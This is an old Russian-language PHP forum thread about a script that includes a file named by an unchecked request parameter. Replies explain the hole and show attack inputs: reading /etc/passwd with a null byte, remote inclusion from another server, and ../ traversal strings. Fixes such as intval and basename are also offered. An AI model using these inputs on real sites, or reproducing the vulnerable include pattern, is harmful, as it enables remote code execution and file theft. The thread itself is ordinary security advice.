Гость
Форумы / PHP, Perl, Python [игнор отключен] [закрыт для гостей] / include / 24 сообщений из 24, страница 1 из 1
23.08.2004, 01:23
    #32660450
dddd
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
include
У меня вопрос.
Написал скрипт:


<?php
if ($id=="") {
include ("1.txt");
}
else {
include ("$id.txt");
}
?>


и файл "1.txt" :

aaaaaaaaaaaaaa


Он выдаёт текст:

Notice: Undefined variable: id in X:\home\localhost\www\php\index.php on line 10


Что с этим делать?
...
Рейтинг: 0 / 0
23.08.2004, 10:05
    #32660678
Count
Гость
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
include
Для начала перевести "Undefined variable"
...
Рейтинг: 0 / 0
23.08.2004, 11:38
    #32660836
Макс М.
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
include
данный код, при настройках ПХП по умолчанию, позволит злоумышленику, выполнить любой код ПХП на твоем сервере (то есть получить доступ ко всему, к чему имеет доступ ПХП).

Функции, которые могут помочь -
http://php.net/empty
http://php.net/basename или http://php.net/intval (зависит от того каким может быть $id)
http://php.net/readfile
...
Рейтинг: 0 / 0
23.08.2004, 17:08
    #32661748
dddd
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
include
А как сделать просто чтобы это сообщение не появлялось?
...
Рейтинг: 0 / 0
23.08.2004, 17:43
    #32661839
Макс М.
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
include
то есть дыру на сайте ты закрывать не собираешься ?

PS
> А как сделать просто чтобы это сообщение не появлялось?
одна из функций в моем предыдущем сообщении делает проверку, не генерируя такой Нотайс
...
Рейтинг: 0 / 0
24.08.2004, 12:38
    #32662793
kVin
Гость
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
include
Макс Мданный код, при настройках ПХП по умолчанию, позволит злоумышленику, выполнить любой код ПХП на твоем сервере (то есть получить доступ ко всему, к чему имеет доступ ПХП).

А каким образом?
...
Рейтинг: 0 / 0
24.08.2004, 12:49
    #32662816
sky2k
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
include
2kVin
nu esli naprimer vyzvat'
http://example/file.php?id=/etc/passwd%00
...
Рейтинг: 0 / 0
24.08.2004, 13:04
    #32662853
kVin
Гость
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
include
а %00 - это пробел?
...
Рейтинг: 0 / 0
24.08.2004, 13:07
    #32662858
sky2k
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
include
net vosprimetsya kak simvol okonchaniya stroki, chtoby otbrosit' .txt
...
Рейтинг: 0 / 0
24.08.2004, 13:13
    #32662883
kVin
Гость
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
include
понятно,
а как в данном случае могут помочь функции

http://php.net/empty
http://php.net/basename или http://php.net/intval (зависит от того каким может быть $id)
http://php.net/readfile
...
Рейтинг: 0 / 0
24.08.2004, 15:05
    #32663213
kVin
Гость
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
include
И никто не ответит?
...
Рейтинг: 0 / 0
24.08.2004, 15:10
    #32663225
sky2k
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
include
a che trudno pochitat' chto delaut basename ili intval?
...
Рейтинг: 0 / 0
24.08.2004, 15:12
    #32663232
Макс М.
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
include
а может самому немного подумать ?
Почитай что делают эти функции, поэкспериментируй с ними, разберись, почему возникает эта дыра. на самом деле она гораздо опаснее, чем просто вывод /etc/passwd (который на нормально настроеном хостинге вы просто не сделаете).
Основную опасность здесь представляют вызовы скрипта типа:
http://example.com/script.php?id=http://my.server/my_script
...
Рейтинг: 0 / 0
24.08.2004, 15:32
    #32663280
kVin
Гость
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
include
без вопросов..

спасибо за вышепреведенную информацию.
...
Рейтинг: 0 / 0
25.08.2004, 10:10
    #32664142
kVin
Гость
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
include
:) я опять с вопросом..

А если присоединяемые файлы хранить в отдельном каталоге.

Код: plaintext
1.
$id=file.txt;
include (folder/.$id);

дыра останется?
...
Рейтинг: 0 / 0
25.08.2004, 10:57
    #32664249
sky2k
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
include
kVin:) я опять с вопросом..

А если присоединяемые файлы хранить в отдельном каталоге.

Код: plaintext
1.
$id=file.txt;
include (folder/.$id);

дыра останется?

../../

eto dlya razmyshlenii
...
Рейтинг: 0 / 0
25.08.2004, 11:10
    #32664300
kVin
Гость
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
include
:) сенк
...
Рейтинг: 0 / 0
25.08.2004, 14:22
    #32664821
*
*
Гость
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
include
И синтаксис выучить не мешало бы - строки в PHP НУЖНО закавычивать.
...
Рейтинг: 0 / 0
25.08.2004, 14:41
    #32664887
kVin
Гость
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
include
исправлюсь..
...
Рейтинг: 0 / 0
25.08.2004, 16:15
    #32665185
Аркадий К.
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
include
Извините но я всетаки непайму чо за дыра???
...
Рейтинг: 0 / 0
25.08.2004, 16:51
    #32665299
kVin
Гость
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
include
Прикалывается тип
...
Рейтинг: 0 / 0
25.08.2004, 18:16
    #32665552
Аркадий К.
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
include
kVinПрикалывается тип Не внатуре нипонил
...
Рейтинг: 0 / 0
26.08.2004, 01:03
    #32665775
Alexey Yakovlev
Гость
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
include
Упрощенное закрытие дыры :

$id = floor($HTTP_GET_VARS['id']);

и ничего кроме числа не пройдет. А вообще хавать параметры из вне нужно осторожно.

Вот пример чтоб невозможно было бы дыркой воспользоваться другим более стремным вариантом.

include("./myfile$id.txt")

И уже чтоб ты ни кинул в id - не проломишься. Варианты ../../ не катят , потому что логически он должн сначала пройти на фолдер вперед - myfile.

А сообщение появлялось потому что скорее всего PHP настроен отдавать внешние переменные только через $HTTP_POST_VARS, $HTTP_GET_VARS.
...
Рейтинг: 0 / 0
26.08.2004, 10:30
    #32666080
sky2k
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
include
Alexey YakovlevУпрощенное закрытие дыры :

$id = floor($HTTP_GET_VARS['id']);

и ничего кроме числа не пройдет. А вообще хавать параметры из вне нужно осторожно.

Вот пример чтоб невозможно было бы дыркой воспользоваться другим более стремным вариантом.

include("./myfile$id.txt")

И уже чтоб ты ни кинул в id - не проломишься. Варианты ../../ не катят , потому что логически он должн сначала пройти на фолдер вперед - myfile.

А сообщение появлялось потому что скорее всего PHP настроен отдавать внешние переменные только через $HTTP_POST_VARS, $HTTP_GET_VARS.

$id = floor($HTTP_GET_VARS['id']);
pravilnee tak $id = isset($HTTP_GET_VARS['id'])?intval($HTTP_GET_VARS['id']):0;
chtoby warningov nebylo

include("./myfile$id.txt")
ochnis'....
sdelat' $id => "/../test.php%00" budet eqvivalentno include("./test.php")
a dalshe po standartnoi sheme
...
Рейтинг: 0 / 0
Форумы / PHP, Perl, Python [игнор отключен] [закрыт для гостей] / include / 24 сообщений из 24, страница 1 из 1
Целевая тема:
Создать новую тему:
Автор:
Найденые пользователи ...
Разблокировать пользователей ...
Читали форум (0):
Пользователи онлайн (0):
x
x
Закрыть


Просмотр
0 / 0
Close
Debug Console [Select Text]